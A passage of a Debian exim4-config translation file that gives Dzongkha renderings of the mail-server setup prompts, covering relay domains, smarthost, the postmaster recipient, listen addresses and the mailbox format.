ཌོ་མེན་ཆ་མཉམ་ འདྲ་མཉམ་སྦེ་རྩིས་འཇོག་འབད་འོང་། ག་དེམ་ཅིག་འབད་ a.example " "and b.exampleཚུ་ ཉེ་གནས་ཌོ་མེན་ཨིན་པ་ཅིན་ acc@a.example and acc@b.example འདི་ མཇུག་" "གི་འགྲོ་ཡུལ་ཅོག་འཐདཔ་ལུ་ འགྲེམ་སྤེལ་འབད་འོང་། ཌོ་མེན་གྱི་མིང་སོ་སོ་ཚུ་ སོ་སོ་འབད་རང་རྩིས་འཇོག་འབད་དགོ་" "པ་ཅིན་ ཁྱོད་ཀྱིས་རིམ་སྒྲིག་ཡིག་སྣོད་ཚུ་ ཤུལ་ལས་ཞུན་དག་འབད་དགོཔ་ཨིན།" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "དོན་ལུ་ ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་འབད་ནི་ལུ་ ཌོ་མེནསི:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "གློ་བུར་རྒྱབ་ཐག་ ཨེམ་ཨེགསི་ ཡངན་ ཡིག་འཕྲིན་འཛུལ་སྒོ་ཅིག་བཟུམ་སྦེ་ རིམ་ལུགས་འདི་གིས་ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་" "འབད་ནི་ཨིན་པའི་ཐོབ་མཁན་ཌོ་མེན་གྱི་སེ་མི་ཀོ་ལཱོན་-ཁ་འཕྱལ་ཡོད་པའི་ཐོ་ཡིག་ཅིག་ ཐོ་བཀོད་འབད་གནང་། དེ་" "གིས་ག་ཅི་སླབ་སྨོ་ཟེར་བ་ཅིན་ རིམ་ལུགས་འདི་གིས་ ཌོ་མེན་འདི་གི་དོན་ལུ་ གློག་འཕྲིན་གུ་ཕྱོགས་ག་སྟེ་ལས་ཡང་ " "ཡིག་འཕྲིན་དང་ལེན་འབད་འོང་ དེ་ལས་ ཉེ་གནས་འགྲེམ་སྤེལ་ལམ་ལུགས་དང་འཁྲིལ་ཏེ་ འགྲེམ་སྤེལ་འབད་འོང་།" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "ནཱ་ལུ་ཉེ་གནས་ཌོ་མེནསི་མ་བཀོད། ཝའིལ་ཀརཌསི་ཚུ་ལག་ལེན་འཐབ་ཡོདཔ་འོང་།" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "དོན་ལུ ཡིག་འཕྲིན་རྒྱུད་སྤྲོད་འབད་ནིའི་དོན་ལུ་ གློག་འཕྲུལ:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "རིམ་ལུགས་འདི་གིས་ མཐུན་སྒྲིག་སྦེ་ སི་མརཊི་ཧོསཊི་སྦེ་ལས་འགན་འགྲུབ་སྟེ་ ཡིག་འཕྲིན་ལུ་བརྒྱུད་སྤྲོད་འབད་ནི་ཨིན་" "པའི་ཨའི་པི་ཁ་བྱང་ཁྱབ་ཚད་ཀྱི་ སེ་མི་ཀོ་ལཱོན་གྱིས་སོ་སོར་འཕྱལ་ཡོད་པའི་ཐོ་ཡིག་ཅིག་ བཙུགས་གནང་།" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "ཁྱོད་ཀྱིས་ཚད་ལྡན་ཁ་བྱང་/སྔོན་ཚིག་རྩ་སྒྲིག་དེ་ལག་ལེན་འཐབ་དགོ(དཔེ་འབད་བ་ཅིན་ ༡༩༤་༢༢༢་༢༤༢་༠/༢༤ ཡང་" "ན་ ༥ཨེཕ་༠༣:༡༢༠༠:༨༣༦ཨེཕ་::/༤༨)" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "རིམ་ལུགས་འདི་ ཧོསཊི་གཞན་ག་གི་དོན་ལུ་ཡང་ སི་མརཊི་ཧོསཊི་སྦེ་འབད་མ་བཅུག་པ་ཅིན་ ཐོ་ཡིག་འདི་སྟོངམ་འབད་" "བཞག" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "ཉེ་གནས་ཀྱི་ལག་ལེན་པ་ཚུ་གི་དོན་ལུ་ མཐོང་ཚུགས་པའི་ཌོ་མེན་གྱི་མིང་:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "ཕྱིར་བསྐྱོད་ཡིག་འཕྲིན་ནང་ལུ་ ཉེ་གནས་ཡིག་འཕྲིན་མིང་ སྦ་ནིའི་གདམ་ཁ་འདི་་ལྕོགས་ཅན་བཟོ་ནུག དེ་འབདཝ་ལས་ " "ཉེ་གནས་ལག་ལེན་པའི་ཁ་བྱང་གི་ཌོ་མཱེན་ཆ་ཤས་ཀྱི་དོན་ལས་ རིམ་ལུགས་འདི་གིས་ ལག་ལེན་འཐབ་དགོ་པའི་ཌོ་མཱེན་" "མིང་འདི་ གསལ་བཀོད་འབད་དགོཔ་ཁག་ཆེ།" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "ཕྱིར་བསྐྱོད་སི་མརཊི་ཧོསཊི་གི་ཨའི་པི་ཁ་བྱང་ ཡང་ན་ ཧོསཊི་མིང་:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "ཕྱིར་བསྐྱོད་སི་མརཊི་ཧོསཊི་སྦེ་རིམ་ལུགས་འདི་གིས་ ལག་ལེན་འཐབ་ནི་ཨིན་པའི་ཨའི་པི་ཁ་བྱང་ ཡང་ན་ ཡིག་འཕྲིན་" "སར་བར་ཅིག་གི་ཧོསཊི་མིང་ བཙུགས་གནང་། ག་དེམ་ཅིག་འབད་ སི་མརཊི་ཧོསཊི་གིས་ འདྲེན་ལམ་ཅིག་གུ་ ཊི་སི་" "པི་/༢༥ལས་སོར་སོ་འབད་ ཁྱོའ་རའི་ཡིག་འཕྲིན་རྐྱངམ་ཅིག་དང་ལེན་འབད་བ་ཅིན་ ཀོ་ལཱོན་གཉིས་དང་འདྲེན་ལམ་ཨང་ " "མཇུག་བསྣོན་འབད་གནང་(དཔེརན་ སི་མརཊི་ཧོསཊི་ དཔེར་བརྗོད་:: ༥༨༧ ཡང་ན་ ༡༩༢་༡༦༨་༢༥༤::༢༥༢༥) " "IPv6 ཁ་བྱང་ནང་ཡོད་པའི་ཀོ་ལཱོན་ཚུ་ གཉིས་ལྡན་བཟོ་དགོ" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "SMTP བདེན་བཤད་སྒྲིག་སྟངས་ཀྱི་སྐོར་ལས་ཤེས་ཐབས་ལུ་ སི་མརཊི་ཧོསཊི་ལུ་བདེན་བཤད་དགོ་པ་ཅིན་ /usr/" "share/doc/exim4-base ནང་ལས་ ཌི་བི་ཡཱན་- དམིགས་བསལ་ README ཡིག་སྣོད་ཚུ་ལྷབ།" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "རྩ་བ་དང་སྦྲག་ཁང་དོ་དམ་གྱི་ ཡིག་འཕྲིན་འཐོབ་མཁན:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "\"postmaster\"དང་ \"root\" དེ་ལས་གཞན་རིམ་ལུགས་ཀྱི་རྩིས་ཐོ་ཚུ་གི་ཡིག་འཕྲིན་འདི་ རིམ་ལུགས་བདག་" "སྐྱོང་པ་ངོ་མའི་ལག་ལེན་པའི་རྩིས་ཐོ་ལུ་ སླར་ལོག་གཏང་དགོ།" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "བེ་ལུ་འདི་སྟོངམ་སྦེ་བཞག་ཡོད་པ་ཅིན་ འདི་བཟུམ་གྱི་ཡིག་འཕྲིན་འདི་ འོས་སྦྱོར་འབད་དེ་མེད་པའི་ /var/mail/" "mail ནང་སྲུང་བཞག་འབད་དེ་བཞག་འོང་།" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "འགྲེམ་ལས་འགོ་འཛིན་གྱི་ཡིག་འཕྲིན་འདི་ གཞན་ཁར་གདོང་བསྐྱོད་མ་འབད་བར་ ཁ་ཕྱོགས་སུ་རིམ་ལུགས་གུ་ལྷག་དགོཔ་" "ཨིན་ དེ་སྦེ་འབད་བ་ཅིན་ ནཱ་ལུ་ཐོ་བཀོད་འབད་ཡོད་པའི་ལག་ལེན་པ་ཚུ་ནང་ལས་གཅིག་ དེ་གི་ཡིག་འཕྲིན་འདི་གློག་" "འཕྲུལ་ལས་ སླར་ཁ་ཕྱོགས་སུ་གཡོ་ནི་མི་འོང་། བང་ཅན་སྦེ་ ཉེ་གནས་འགྲེམ་སྤེལ་གྱི་དོན་ལུ་ \"real-\" སྔོན་ལྟ་" "འདི་ལག་ལེན་འཐབ་ཚུགསཔ་ཨིན།" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "སྣ་མང་ལག་ལེན་པའི་མིང་ཚུ་ བར་སྟོང་ཚུ་གིས་སོར་སོ་ཁ་འཕྱལ་དགོཔ་ཨིན།" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "ཨེསི་ཨེམ་ཊི་པི་གྲལ་མཐུད་ནང་འབྱོར་ཉན་ནི་གྱི་དོན་ལུ་ ཨའི་པི་-ཁ་བྱང་ཚུ:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "ཨའི་པི་ཁ་བྱང་གི་སེ་མི་ཀོ་ལཱོན་གྱིས་སོ་སོར་འཕྱལ་ཡོད་པའི་ཐོ་ཡིག་ཅིག་བཙུགས་གནང་། ཨེག་ཟིམ་ ཨེསི་ཨེམ་ཊི་པི་" "ཉན་མི་ཌེ་མཱོན་གྱིས་ ནཱ་ལུ་ཐོ་བཀོད་འབད་ཡོད་པའི་ཨའི་པི་ཁ་བྱང་ཆ་མཉམ་ལས་ཉན་འོང་།" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "བེ་ལུ་སྟོངམ་གྱིས་ ཨེག་ཟིམ་ལུ་ འཐོབ་ཚུགས་པའི་ཡོངས་འབྲེལ་ངོས་འདྲ་བ་ཆ་མཉམ་གྱི་གུ་ མཐུད་ལམ་ཉན་བཅུག་འོང་།" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "རིམ་ལུགས་འདི་གིས་ དཔེར་ན་ ཕེཅ་མེ་ཡཱལ་ ཡངན་ ཉེ་གནས་ཧོསཊི་(ཧོསཊི་གཞན་ལས་མེན་པའི་)དང་ཁ་སླབ་ནི་ཡོད་" "པའི་གློག་འཕྲིན་ལས་རིམ་(ཨེམ་ཡུ་ཨེ་)བཟུམ་སྦེ་ ཉེ་གནས་ཞབས་ཏོག་ཚུ་ནང་ལས་ གློག་འཕྲིན་ཐད་ཀར་དུ་འཐོབ་པ་" "ཅིན་རྐྱངམ་ཅིག་ ཉེ་གནས་ཨེག་ཟིམ་གྱིས་ཕྱིའི་མཐུད་ལམ་བཟོ་ནི་ལས་བཀག་དམ་འབད་དགོ ནཱ་ལུ་ ༡༧༢་༠་༠་༡ ཐོ་" "བཀོད་འབད་ཡོད་པ་ཅིན་ ཕྱིའི་མཐུད་ལམ་ཚུ་མི་སྲིདཔ་ཨིན། འདི་གིས་ མི་མང་ཡོངསའབྲེལ་ངོས་འདྲ་བ་ཚུ་གུ་ ཉན་ནི་" "ལས་ལྕོགས་མིན་བཟོ་འོང་།" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "ཊི་ཨེན་ཨེསི་-འདྲི་དཔྱད་ཚུ་གི་ཨང་ཡིག་ཉུང་སུ་སྦེ་བཞག (Demand-ཌ་ཡེལ་འབད་ནི་ཨིན་ན)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "སྤྱིར་བཏང་བཀོལ་སྤྱོད་གྱི་ཐབས་ལམ་ནང་འབད་བ་ཅིན་ ཨེག་ཟིམ་གྱིས་ འགོ་བཙུག་པའི་སྐབས་དང་ དེ་ལས་ འཕྲིན་དོན་" "ཐོབ་པའི་སྐབས་ལུ་ ཡང་ན་ འགྲེམ་སྤེལ་འབད་བའི་སྐབས་ལུ་ ཌི་ཨེན་ཨེསི་ལུ་བལྟ་འོང་། འདི་ཡང་དྲན་དེབ་བཀོད་ནིའི་" "དོན་ལུ་དང་ རིམ་སྒྲིག་ནང་ ཨང་རྟགས་སྲ་བའི་བེ་ལུསི་ཨང་གྲངས་ཚུ་མར་བཞག་བཅུགཔ་ཨིན།" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "འ་ནི་ཚུ་ རྟག་བརྟན་ཌི་ཨེན་ཨེསི་-མིང་སྲུང་བཞག་པ་-འཛུལ་བསྐྱོད་འབད་ནི་དེ་མེད་པའི་ཐོག་ལས་ (དཔེར་ན་ ཌ་" "ཡཱེལ-ཨོན་-མཁོ་འདོད་ལག་ལེན་འཐབ་མི་ཧོསཊི་ཨིན་པ་ཅིན་) དེ་ལུ་མ་དགོ་པའི་འབྲེལ་འབྱུང་འོང་། དཔེར་ན་ ཨེག་" "ཟིམ་འགོ་བཙུགས་ནི་ ཡང་ན་ གྱལ་རིམ་གཡོག་བཀོལ་བའོ་ཐོག་ལས་ (འཕྲིན་དོན་ཚུ་འགུག་སྟེ་མེད་དེ་རང་འབད་རུང་) " "རིན་གོང་སྦོམ་་གནས་མི་ ཌ་ཡཱེལ་-ཨཔ་བྱུང་ལས་ཅིག་བྱུང་བཅུག་ནིའི་ཉེན་ཁ་ཡོད་མི་ དགོས་འདོད་མེད་པའི་རྗེས་འབྲས་" "འཐོབ་ནིའི་ཉེན་ཁ་ཡོདཔ་ཨིན།" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "རིམ་ལུགས་འདི་གིས་ ག་དེམ་ཅིག་འབད་ Dial-on-Demand འདི་ལགལེན་འཐབ་ཏེ་ཡོད་པ་ཅིན་ གདམ་ཁ་འདི་སེལ་" "འཐུ་འབད་དགོཔ་ཨིན། དེ་མེན་པར་ ཨ་རྟག་ར་ཨིན་ཊར་ནེཊི་འཇུལ་སྤྱོད་གུ་ཨིན་པ་ཅིན་ གདམ་ཁ་འདི་ལྕོགས་མིན་བཟོ་" "དགོ" #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "ཡིག་འཕྲིན་སར་བར་རིམ་སྒྲིག།" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "རིམ་སྒྲིག་དེ་ཡིག་སྣོད་ཆུང་ཀུ་ཚུ་ནང་ལུ་གཤག་ནི་ཨིན་ན?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "/etc/exim4/conf.d/ ནང་ལུ་ ཡིག་སྣོད་ཆུང་ཀུ་ ༥༠་ ནང་ལས་ཨེག་ཟིམ་རིམ་སྒྲིག་ཡིག་སྣོད་ཚུ་བཟོ་ཡོད་པའི་ " "ཌེ་བི་ཡཱན་exim4 ཐུམ་སྒྲིལ་ཚུ་གིས་ \"unsplit configuration\" དང་ མོ་ནོ་ལི་ཐིག་ཡིག་སྣོད་རྐྱང་པ་" "ཅིག་(/etc/exim4/exim4.conf.template) ཡང་ན་ \"split configuration\" ལག་ལེན་འཐབ་" "ཚུགསཔ་ཨིན། " #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "མ་གཤག་པའི་རིམ་སྒྲིག་འདི་ ལེགས་བཅོས་སྦོམ་གྱི་དོན་ལུ་ འོས་འབབ་ཡོད་པ་ཨིནམ་དང་ འདི་སྤྱིར་བཏང་ལུ་སྒྲིང་སྒྲིང་" "ཡོདཔ་ཨིན། གཤག་པའི་རིམ་སྒྲིག་གིས་ ལེགས་བཅོས་ཆུང་ཀུ་ཚུ་བདེ་ཏོག་ཏོ་འབད་བཟོ་བཅུགཔ་ཨིན་ དེ་འབདཝ་ད་ སྒྲིང་" "སྒྲིང་མེདཔ་ལས་ ལེགས་བཅོས་ལེགས་ཤོམ་མ་འབད་བ་ཅིན་ དཀྲུམ་འགྱོ་ནིའི་ཉེན་ཁ་ཡོདཔ་ཨིན།" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "གཤག་ནི་དང་གཤག་བཤོལ་རིམ་སྒྲིག་གི་རྒྱས་བཤད་ཅན་གྱི་གྲོས་བསྡུར་འདི་ /usr/share/doc/exim4-base " "ནང་ ཌི་བི་ཡཱན་-དམིགས་བསལ་གྱི་ README ཡིག་སྣོད་ནང་ལས་ཐོབ་ཚུགསཔ་ཨིན།" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "ཕྱིར་གཏང་ཡིག་འཕྲིན་ནང་ལུ་ ཉེ་གནས་ཡིག་འཕྲིན་གྱི་མིང་དེ་སྦ་བཞག་ནི་ཨིན་ན?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "ཕྱིར་གཏང་ཡིག་འཕྲིན་གྱི་མགོ་ཡིག་ཚུ་ རིམ་ལུགས་མ་འདྲ་བའི་གུ་བཟོ་བཏོན་འབད་ཡོད་པ་འབད་འབྱུང་བཅུག་ནི་ལུ་ " "ལོག་བྲིས་བཏུབ་ཨིན། གདམ་ཁ་འདི་གདམ་ཁ་བརྐྱབས་ཡོད་པ་ཅིན་ \"${mailname}\"དང་ \"localhost\" " "དེ་ལས་ \"${dc_other_hostnames}\"ཚུ་ ལན་གསལ་དང་གཏང་མི་ དེ་ལས་ Return-Path ཚུ་བསྐྱར་" "བྲིས་འབདཝ་ཨིན།" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox format in /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "ཁྱིམ་གྱི་སྣོད་ཐོ་ནང་ ཡིག་འཕྲིན་སྣོད་ཐོའི་རྩ་སྒྲིག" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "ཉེ་གནས་ཡིག་འཕྲིན་གྱི་དོན་ལུ་ འགྲེམ་སྤེལ་ཐབས་ལམ་:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "ཨེག་ཟིམ་ལུ་ ཉེ་གནས་ལུ་སྦེ་འགྲེམ་སྤེལ་འབད་ཡོད་པའི་གློག་འཕྲིན་འདི་ རྩ་སྒྲིག་སོ་སོར་ནང་ལུ་གསོག་འཇོག་་འབད་ནི་" "གི་ལྕོགས་གྲུབ་ཡོདཔ་ཨིན། ཐུན་མོང་དུ་ལག་ལེན་འཐབ་ནི་ཡོད་མི་ཚུ་ mbox དང་ Maildir གཉིས་ཨིན། mbox " "གིས་ /var/mail/ནང་གསོག་འཇོག་འབད་ཡོད་པའི་ཡིག་འཕྲིན་སྣོད་འཛིན་ཡོངས་རྫོགས་ཀྱི་དོན་ལུ་ ཡིག་སྣོད་རྐྱང་པ་" "ཅིག་ལག་ལེན་འཐབ་ཨིན། Maildir རྩ་སྒྲིག་གི་ཐོག་ལས་ འཕྲིན་དོན་རེ་རེ་བཞིན་དུ་ ~/Maildir/ནང་འབད་ " "ཡིག་སྣོད་སོ་སོ་ནང་གསོག་འཇོག་འབད་བཞག་འོང་།" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "ཌི་བི་ཡཱན་ནང་གི་ཡིག་འཕྲིན་ལག་ཆས་མང་ཤོས་ཀྱིས་ སྔོན་སྒྲིག་ནང་ mbox འབད་ནིའི་དོན་ལུ་ ཉེ་གནས་འགྲེམ་སྤེལ་" "ཐབས་ལམ་ རེ་བ་བསྐྱེདཔ་ཨིན།" #~ msgid "Overwrite existing /etc/aliases?" #~ msgstr "ད་ལྟོ་ཡོད་མི་/etc/aliasesདེ་ཚབ་སྲུང་འབད་ནི་ཨིན་ན?" #~ msgid "" #~ "An /etc/aliases file was found on the system, but it does not redirect " #~ "mail for root to a user account, which is strongly recommended." #~ msgstr "" #~ "/etc/aliases file འདི་རིམ་ལུགས་གུ་མཐོང་ཡི་ དེ་འབདཝ་ད་ ངོ་འབྱོར་སྒྲིང་སྒྲིང་འབད་ཡོད་པའི་ཡིག་" #~ "འཕྲིན་དེ་ རྩ་བའི་ནང་ལས་ལག་ལེན་པའི་རྩིས་ཐོ་ལུ་ལོག་བཀོད་རྒྱ་མི་བྱིནམ་ཨིན།" #, fuzzy #~ msgid "" #~ "Accepting this option will cause /etc/aliases to be overwritten, and the " #~ "old file will be renamed to aliases.O." #~ msgstr "" #~ "གདམ་ཁ་དང་ལེན་འབད་མི་འདི་གིས་ /etc/aliases འདི་ཚབ་སྲུང་འབད་བཅུགཔ་ཨིནམ་དང་ ཡིག་སྣོད་རྙིངམ་" #~ "འདི་ཡང་ aliases.O ལུ་བསྐྱར་མིང་བཏགས་ཏེ་བཞག་འོང་།" #~ msgid "Move undelivered mails from exim(v3) to exim4 spool?" #~ msgstr "" #~ "ད་ལྟོ་ཡང་མ་བསྐྱེལ་བ་ཡོད་མི་ཡཡིག་འཕྲིན་ཚུ་ exim(v3)ནང་ལས་ ཨེག་ཟིམ་༤་འཕྲལ་གསོག་ལུ་སྤོ་བཤུད་འབད་" #~ "ནི་ཨིན་ན་?" #~ msgid "" #~ "There are some undelivered mails in exim(v3) (or exim-tls(v3)) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "exim(v3) (or exim-tls(v3)) འགྲེམ་སྤེལ་སྣོད་ཐོ་ /var/spool/exim/input/ ནང་ལུ་ འགྲེམ་" #~ "སྤེལ་མ་འབད་མི་ཡིག་་འཕྲིན་དང་པ་ཅིག་ཡོད།" #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "གདམ་ཁ་གདམ་མི་འདི་གིས་ འཕྲིན་དོན་འདི་ཚུ་ exim4 གིས་ལེགས་སྐྱོང་འཐབ་ནི་ཨིན་པའི་exim4'གི་ དཀྲི་" #~ "ཤིང་ (/var/spool/exim4/input/) ནང་སྤོ་འོང་།" #~ msgid "" #~ "This works only one-way: Exim4 can handle exim(v3) spool but not vice-" #~ "versa. You should move the messages only if you do not plan to go back to " #~ "exim(v3). Otherwise, the messages should be moved manually at a later " #~ "time." #~ msgstr "" #~ "འདི་ཐབས་ལམ་གཅིག་གི་ཐོག་ལུ་རྐྱངམ་ཅིག་ལཱ་འབདཝ་ཨིན་: Exim4 གིས་ exim(v3) དཀྲི་ཤིང་འདི་ལེགས་" #~ "སྐྱོང་འཐབ་བཏུབ་ དེ་འབདཝ་ད་ ཕན་ཚུན་གཉིས་མཚུངས་མེན། ཁྱོད་ exim(v3)ལུ་ལོག་འགྱོ་ནི་གི་འཆར་གཞི་མ་" #~ "སྒྲིག་པ་ཅིན་རྐྱངམ་ཅིག་ འཕྲིན་དོན་ཚུ་སྤོ་བཤུད་འབད་དགོ དེ་མེན་པ་ཅིན་ འཕྲིན་དོན་ཚུ་ཤུལ་ལས་ ལག་ཐོག་ལས་" #~ "སྤོ་བཤུད་འབད་དགོཔ་ཨིན།" #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "ཐོ་ཡིག་སྟོངམ་འབད་བཞག་མི་འདི་གིས་ ཨེག་ཟིམ་གྱིས་ཉེ་གནས༌་འགྲེམ་སྤེལ་མི་འབད།" #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "འདི་གིས་ཐབས་ལམ་གཅིག་གི་ཐོག་་ལས་་རྐྱངམ་ཅིག་གཡོག་བཀོལ་བཏུབ་ཨིན། ཨེག་ཟིམ་༤་གིས་ ཨེག་ཟིམ་(ཝི་༣་)" #~ "གི་འཕྲལ་གསོག་ལེགས་བསྐྱོང་འཐབ་ཚུགས་ དེ་འབདཝ་ད་ ཐབས་ལམ་གཞན་གྱིས་ཐོག་ལས་མེན།" #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "ཁྱོད་ཀྱིས་ ཨེག་ཟིམ་(ཝི་༣་)ལུ་ ལོག་འགྱོ་ནི་འཆར་གཞི་མེད་པ་ཅིན་རྐྱངམ་ཅིག་ ཡིག་འཕྲིན་ཚུ་སྤོ་བཤུད་འབད། " #~ "དེ་མེན་པ་ཅིན་ ཡིག་འཕྲིན་དེ་ད་ལྟོ་སྤོ་བཤུད་འབད་ནི་མི་འོང་ དེ་འབདཝ་ད་ ཁྱོད་ཀྱིས་ཁྱོད་རའི་གཞི་སྒྲིག་དེ་" #~ "ཚར་ཅིག་གཞི་བསྒྱུར་འབད་ཞིནམ་ལས་ ལག་ཐོག་ལས་སྤོ་བཤུད་འབད་དགོཔ་ཨིན།" #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "དེ་ལས་མངམ་ཡོད་པ་ཅིན་ དེ་ཚུ་སེ་མི་ཀོ་ལཱོན་ཚུ་གིས་ སོ་སོ་ཁ་འཕྱལ་བའི་ཐོག་ལས་ ནཱ་ལུ་བཙུགས། གཅིག་ཡང་" #~ "མེད་པ་ཅིན་ འདི་སྟོངམ་སྦེ་བཞག་རུང་བཏུབ།" #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "རིམ་ལུགས་འདི་གིས་ ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་འབད་ནི་ཨིན་མི་ ཌོ་མེན་ཚུ་ནཱ་ལུ་བཙུགས་གནང་། དེ་ཡང་དཔེར་ན་ " #~ "གློ་འབུར་རྒྱབ་ཐག་ ཨེམ་ཨེགསི་ ཡང་ན་ ཡིག་འཕྲིན་འཛུལ་སྒོ་ལྟ་བུ།" #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "འདི་བཟུམ་མའི་ཌོ་མེན་ཚུ་ ཁྱོད་ཀྱིས་ ཨིན་ཊར་ནེཊི་གུར་ཡིག་འཕྲིན་ཚུ་ག་སྟེ་ལས་ཡང་དང་ལེན་འབད་ནི་ལུ་གྲ་" #~ "སྒྲིག་འབད་ཡོད་པའི་ ཌོ་མེན་ཚུ་ཨིན། 